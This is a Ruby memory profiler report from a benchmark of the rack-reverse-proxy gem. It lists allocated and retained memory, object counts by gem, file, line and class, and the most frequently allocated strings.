     20985  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb
     18668  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb
     12262  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb
      7968  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb
      6770  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb
      2680  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb
      2596  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb
      2433  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/rule.rb
      1968  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb
      1858  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb
      1376  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb
      1056  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/middleware.rb
      1040  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/request.rb
       920  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/builder.rb
       120  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/response_builder.rb
        80  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/common.rb
        80  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/http.rb
        80  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/webrick/server.rb
        80  /Users/oleksii/workspace/rack-reverse-proxy-bench/app.ru
        40  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/http_streaming_response.rb

allocated memory by location
-----------------------------------
   1049712  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/timeout.rb:83
     32850  <internal:prelude>:77
     20057  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb:190
     18189  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37
      8856  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187
      5200  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
      3302  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
      2704  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:180
      2682  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
      2480  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:437
      2480  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:454
      2480  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:29
      2400  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:442
      2300  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:55
      2238  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62
      1800  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:14
      1796  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:331
      1680  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:13
      1600  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:57
      1440  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:12
      1200  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:15
      1200  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67
      1160  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:472
      1152  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:14
      1129  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/rule.rb:48
      1056  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb:22
       984  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:22
       946  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:35
       880  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:980
       808  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb:229
       800  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:216
       600  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:28
       576  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:24
       576  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:53
       546  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158
       528  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb:52
       480  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:31
       480  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:214
       480  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:167
       472  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb:955
       456  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/builder.rb:55
       456  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/middleware.rb:21
       440  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/request.rb:235
       440  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/request.rb:239
       400  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:64
       336  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb:635
       320  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:60
       320  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/rule.rb:151
       320  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:41
       288  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/middleware.rb:15

allocated memory by class
-----------------------------------
   1049552  Thread
    103096  String
     16024  MatchData
     10680  Array
      8880  Hash
      2480  Rack::Utils::HeaderHash
      1003  Regexp
       912  Class
       480  URI::HTTP
       336  Net::HTTP
       240  Proc
       240  TCPSocket
       208  RackReverseProxy::Rule::Matches
       160  RackReverseProxy::RoundTrip
       128  Method
       120  Net::HTTP::Get
       120  Net::HTTPNotFound
       120  URI::Generic
        88  Net::BufferedIO
        88  RackReverseProxy::Rule::Candidate
        80  Rack::HttpStreamingResponse
        72  Rack::Builder
        72  RackReverseProxy::ResponseBuilder
        72  RackReverseProxy::Rule
        40  Rack::Request
        40  Rack::URLMap
        40  RackReverseProxy::Middleware
        40  Range

allocated objects by gem
-----------------------------------
       593  ruby-2.4.0/lib
       367  rack-proxy-0.6.0
       198  rack-2.0.1
       177  rack-reverse-proxy-0.11.0
         2  other
         2  rack-reverse-proxy-bench/app

allocated objects by file
-----------------------------------
       366  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb
       291  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb
       151  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb
       144  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb
       141  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb
        41  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb
        40  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb
        32  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb
        28  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/rule.rb
        25  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb
        22  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb
        14  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/request.rb
        10  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb
         8  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/builder.rb
         7  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/timeout.rb
         6  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/middleware.rb
         2  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/response_builder.rb
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/common.rb
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/http.rb
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/webrick/server.rb
         2  /Users/oleksii/workspace/rack-reverse-proxy-bench/app.ru
         2  <internal:prelude>
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/http_streaming_response.rb

allocated objects by location
-----------------------------------
       234  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37
       135  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187
        98  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
        71  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
        60  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
        52  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62
        45  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:55
        40  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:57
        36  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb:190
        33  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:14
        30  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:454
        30  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:15
        30  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:29
        30  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67
        29  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:472
        26  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:331
        26  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:180
        20  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:216
        15  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:22
        13  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158
        11  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:28
        10  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:64
        10  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:980
         9  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:35
         7  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/rule.rb:48
         6  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:13
         6  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:45
         5  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/request.rb:235
         5  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/request.rb:239
         5  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:437
         5  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:442
         4  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:436
         4  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:465
         4  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/rule.rb:37
         4  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:71
         4  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:43
         4  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/timeout.rb:83
         4  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:520
         4  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:547
         4  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb:22
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:476
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:12
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:24
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:156
         3  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb:955
         3  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:14
         3  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:35
         3  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:1480
         3  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:333
         2  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/builder.rb:147

allocated objects by class
-----------------------------------
       977  String
       240  Array
        55  MatchData
        30  Hash
         5  Rack::Utils::HeaderHash
         4  URI::HTTP
         3  Proc
         2  Class
         2  Method
         2  RackReverseProxy::Rule::Matches
         2  Regexp
         1  Net::BufferedIO
         1  Net::HTTP
         1  Net::HTTP::Get
         1  Net::HTTPNotFound
         1  Rack::Builder
         1  Rack::HttpStreamingResponse
         1  Rack::Request
         1  Rack::URLMap
         1  RackReverseProxy::Middleware
         1  RackReverseProxy::ResponseBuilder
         1  RackReverseProxy::RoundTrip
         1  RackReverseProxy::Rule
         1  RackReverseProxy::Rule::Candidate
         1  Range
         1  TCPSocket
         1  Thread
         1  URI::Generic

retained memory by gem
-----------------------------------
      6665  ruby-2.4.0/lib
       200  rack-reverse-proxy-0.11.0

retained memory by file
-----------------------------------
      3642  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb
      1353  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb
       886  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb
       664  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb
       120  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb
        80  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/response_builder.rb
        40  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb
        40  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb
        40  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/webrick/server.rb

retained memory by location
-----------------------------------
      1802  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
      1313  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb:190
       960  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:14
       800  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67
       646  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62
       336  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb:635
       240  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb:904
       120  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:79
       120  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:30
       120  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:43
        88  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb:955
        80  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/response_builder.rb:51
        80  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:288
        40  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:27
        40  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb:87
        40  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb:41
        40  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/webrick/server.rb:171

retained memory by class
-----------------------------------
      3961  String
       960  Array
       960  Hash
       336  Net::HTTP
       240  TCPSocket
       120  Net::HTTP::Get
       120  Net::HTTPNotFound
        88  Net::BufferedIO
        80  Rack::HttpStreamingResponse

retained objects by gem
-----------------------------------
        87  ruby-2.4.0/lib
         2  rack-reverse-proxy-0.11.0

retained objects by file
-----------------------------------
        62  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb
        17  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb
         3  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/response_builder.rb
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/webrick/server.rb

retained objects by location
-----------------------------------
        38  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
        20  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67
        13  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:62
         3  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:43
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:14
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:288
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/response_builder.rb:51
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:79
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb:635
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb:904
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb:955
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:27
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:30
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb:190
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb:87
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/rfc3986_parser.rb:41
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/webrick/server.rb:171

retained objects by class
-----------------------------------
        57  String
        24  Array
         2  Hash
         1  Net::BufferedIO
         1  Net::HTTP
         1  Net::HTTP::Get
         1  Net::HTTPNotFound
         1  Rack::HttpStreamingResponse
         1  TCPSocket

Allocated String Report
-----------------------------------
        66  ""
        30  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37
        12  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:55
        12  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb:190
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:22
         3  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/uri/generic.rb:980
         2  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:35
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/request.rb:235
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:34
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/urlmap.rb:65
         1  <internal:prelude>:77

        63  "-"
        30  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37
        20  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
        13  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187

        32  "\n"
        11  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:55
        10  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:454
        10  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:29
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/protocol.rb:164

        30  "_"
        30  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:37

        17  ", "
        13  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:180
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-proxy-0.6.0/lib/rack/proxy.rb:22
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:36

        13  "accept"
         3  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:45
         1  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-reverse-proxy-0.11.0/lib/rack_reverse_proxy/roundtrip.rb:215
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/generic_request.rb:71
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:35

        11  "cache-control"
         5  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:67
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:64

        11  "host"
         4  /Users/oleksii/.rvm/gems/ruby-2.4.0/gems/rack-2.0.1/lib/rack/utils.rb:469
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:187
         2  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:21
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http.rb:1503
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:158
         1  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/header.rb:35

        10  "\t"
        10  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:57

        10  " "
        10  /Users/oleksii/.rvm/rubies/ruby-2.4.0/lib/ruby/2.4.0/net/http/response.rb:57

